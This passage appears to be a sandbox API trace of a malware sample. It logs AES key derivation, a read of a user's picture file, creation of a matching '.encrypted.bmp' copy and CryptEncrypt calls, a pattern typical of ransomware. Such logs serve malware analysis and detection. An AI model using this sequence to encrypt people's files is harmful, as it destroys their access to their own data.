hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.929] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.929] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.929] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062790, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.929] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.929] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.930] CryptDestroyHash (hHash=0xe8f4062790) returned 1 [0027.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.931] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\laaxefbmzbfaqo.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.931] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.931] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0027.932] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\laaxefbmzbfaqo.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.934] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x274e, lpOverlapped=0x0) returned 1 [0027.934] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.936] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.936] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.937] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.937] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.937] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.937] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.937] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.938] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.938] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.938] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.938] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.938] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x274e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2750) returned 1 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] CharLowerBuffW (in: lpsz="byte[10065]", cchLength=0xb | out: lpsz="byte[10065]") returned 0xb [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.939] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.939] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x274e, dwBufLen=0x2750 | out: pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x2750) returned 1 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.939] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.939] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.939] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.940] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.940] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.941] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.941] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.941] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.941] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.941] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.942] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.942] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.942] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 